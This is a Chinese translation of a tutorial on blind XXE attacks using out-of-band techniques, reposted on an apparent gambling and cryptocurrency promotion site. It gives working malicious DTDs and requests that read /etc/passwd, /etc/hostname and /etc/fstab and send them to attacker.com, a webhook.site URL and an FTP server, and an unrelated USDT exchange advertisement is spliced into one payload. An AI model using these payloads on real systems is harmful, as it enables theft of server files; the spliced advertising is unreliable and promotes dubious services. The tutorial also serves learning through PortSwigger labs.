欢迎进入UG环球官网(环球UG)!

万利逆熵(www.ipfs8.vip):盲XXE攻击 -带外交互手艺(OAST) 泄露数据

admin1个月前30

盲XXE攻击 -带外交互手艺(OAST) 泄露数据

译者注: 本文为翻译文章,这篇文章基本涵盖了盲XXE对照少见的问题的解决方案,值得细看。

hi,人人好! 本篇文章将先容高级XXE攻击,需要使用带外交互手艺来带出敏感数据。若是你想要学习更多关于基础XXE攻击向量,请继续阅读本文。

盲XXE的基础知识

服务器可能接受Body中的XML数据,然则它纷歧定总是会在响应中返回值。然则,若是您仍然以为应用可能容易受到XXE攻击,OAST则可以作为验证的选择。

步骤

要触发带外交互,你必须界说一个外部实体,如下所示

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com">] >

然后,您将在XML文档的数据值部门使用已经界说的实体。若是这个应用程序容易受到攻击,服务器则要发送一个http请求到您的URL。攻击可以监视DNS查找和http请求来说明攻击乐成了。

您可以使用burp-collaborator来天生您的URL。

  • 它使用自己专有的域名,而且该服务器已经注册为该域的权威DNS服务器
  • 它提供DNS服务,使用自己自身的IP地址回覆在其注册域(子域)的任何DNS查询
  • 他提供HTTP/HTTPS服务,并使用有用的,CA署名的通配符TLS证书作为其域名。
  • 提供SMTP/SMTPS服务

当收到来自易受攻击的服务器的交互时,burp协作者的屏幕如下所示:

然则,burp collaborator客户端仅在burp专业版中可用,而且可以通过burp-> burp collaborator client举行接见。

您可能会发现通例实体被阻止的例子,这可能是由于某些输入检查或者强化了XML剖析器级别所导致的。在这种情形下,您可以使用XML参数实体。

XML参数实体

这些是特殊类型的XML实体,只能在DTD中引用。

声明

<!ENTITY % paramentity "my test value">

引用

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe; ]>

要磨练的您的学习状态,可以遵照portswigger实验

在平台上测试时,只要简朴将其示意为错误就足够了,然则若是敏感数据能够被提取,则你可以大大地提高这个破绽的影响力。

让我们看看若何提取数据

确立恶意DTD

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://webhook.site/b16e2541-f40a-4641-9e12-286439217267/?x=%file;'>">
%eval;
%exfil;

这是存储在某处的恶意DTD文件。例如,portwigger的破绽行使服务器

在对易受攻击的应用程序的请求中,必须提供到存储破绽行使的服务器的URL。

这里,参数实体被用于泄露数据。这是在实体内界说实体的示例,参数化实体%file在%eval中被引用。因此,/etc/hostname的内容添加为请求的一部门,并发送给攻击者。当请求被吸收时,我们就能查看到主机名。

主机名是一小段文字,因此很容易检索。然则,若是是较大的文件呢,如/etc/passwd。它另有林林总总的坏字符会损坏您的http请求。在这个情形下,最简朴的解决方案是对有用负载举行base64编码。

让我们看看若何做到这一点。

在http://attacker.com/xxe.dtd上确立一个外部DTD

,

USDT场外交易平台

U交所(www.payusdt.vip),全球頂尖的USDT場外擔保交易平臺。

,
<!ENTITY % all "<!ENTITY &,x25; req SYSTEM 'https://webhook.site/b16e2541-f40a-4641-9e12-286439217267/%file;'>">

在易受攻击的应用程序中:

POST /vuln
Host: 1.1.1.1
User-Agent: ....
Content-Length: 123

<?xml version=1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/xxe.dtd">
<!-- load dtd file -->
%dtd;
<!-- Resolve the nested external entity -->
%all;
<!-- resolve the external entity req along with file reference -->
%req;
]>

<app>
<user>foo</user>
<pass>bar</pass>

这将会发送携带base64编码的/etc/passwd的内容的get请求。然后可以进一步解码以获得原始的文件内容。

然则等一下!!!,这里可能存在由于base64编码的字符串太长而无法作为http请求一部门的来发送的情形。 反馈会说URI太长。

解决方案!!

您可以通过使用FTP来泄露数据。这解决了http坏字符的限制。因此,文件无需编码即可传输

要在http://attacker.com/xxe.dtd上确立的外部dtd

<!ENTITY $ file SYSTEM "file:///etc/passwd">
<!ENTITY % req "<!ENTITY abc SYSTEM 'ftp://x.x.x.x:1212/%file; '>">

请求Body

<?xml version=1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/xxe.dtd">
%dtd;
%req;
]>
<foo>
  &abc;
</foo>

本文到这里已经涵盖了许多差其余手艺。现在只剩下一种情形。

译者注: 上面的原文的payload可能存在一些问题,读者需要自行调试下。

若是要检索xml文件怎么办?

当正在举行红队义务时,你不会止步于仅仅发现破绽。有时,您需要挖掘更多信息。XML文件(例如tomcat-users.xml)就是一个需要挖掘的点。然则使用XXE检索xml/dtd文件时会存在问题。xml文档内的标签将由剖析器剖析,并将完全改变其寄义,这将导致该攻击不会生效。因此我们需要一种不剖析XML文档的方式(应该将其视为纯文本文档)

这就是CDATA看法的缘由。

  • PCDATA 是将由剖析器剖析的文本。文本内的标签将被视为符号,而且实体将被扩展。
  • CDATA不会 被剖析器剖析的文本 。文本内的标签不会被视为符号,而且实体也不会扩展。

默认情形下,所有内容都是PCDATA,此要害字指定元素必须包罗可剖析的数据- < , > , &, ‘ , “

因此,若是您不想要剖析您的XML,请将其包罗在CDATA中,让我们看看若何做到这一点。

<?xml version="1.0"?>
<foo>
<bar><![CDATA[<abc>myContent</abc>]]></bar>
</foo>

这将会打印<abc> myContent </ abc>效果。

让我们快速领会若何检索XML数据。

泄露XML文件

确立一个外部dtd为

<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY content '%start;%file;%end;'>">

对应用的请求:

POST http://example.com/xml HTTP/1.1

<!DOCTYPE data [
  <!ENTITY % dtd SYSTEM
  "http://attacker.com/evil.dtd">
  %dtd;
  %all;
]>
<data>&content;</data>

注释

首先,挪用%dtd,服务器向http://attacker.com/evil.dtd发出请求,下载玩dtd之后,剖析器加载dtd,然后加载%file,被%start; and %end;包装在CDATA中的参数实体。最后,%all存放在%start; 到 %end捕捉到的内容。一个通用的实体内容正在被界说,该内容可以作为对攻击者响应的一部门。这个场景是效果是反映在响应中的,。以是在对盲XXE举行盲注时,请使用OAST的语法。

这就是这篇博客文章的所有内容,期待在下一篇文章与你相遇。

在那之前,祝福你快乐地挖掘破绽。

参考链接

  • https://portswigger.net/burp/documentation/collaborator
  • https://portswigger.net/web-security/xxe/blind
  • https://dzone.com/articles/xml-external-entity-xxe-limitations

本文为翻译文章,原文链接:https://shreyapohekar.com/blogs/blind-xxe-attacks-out-of-band-interaction-techniques-oast-to-exfilterate-data/

逆熵官网

万利逆熵官网(www.ipfs8.vip)是FiLecoin致力服务于使用FiLecoin存储和检索数据的官方权威平台。IPFS官网实时更新FiLecoin(FIL)行情、当前FiLecoin(FIL)矿池、FiLecoin(FIL)收益数据、各类FiLecoin(FIL)矿机出售信息。并开放FiLecoin(FIL)交易所、IPFS云矿机、IPFS矿机出售、租用、招商等业务。

上一篇 下一篇

猜你喜欢

网友评论

随机文章
热门文章
热评文章
热门标签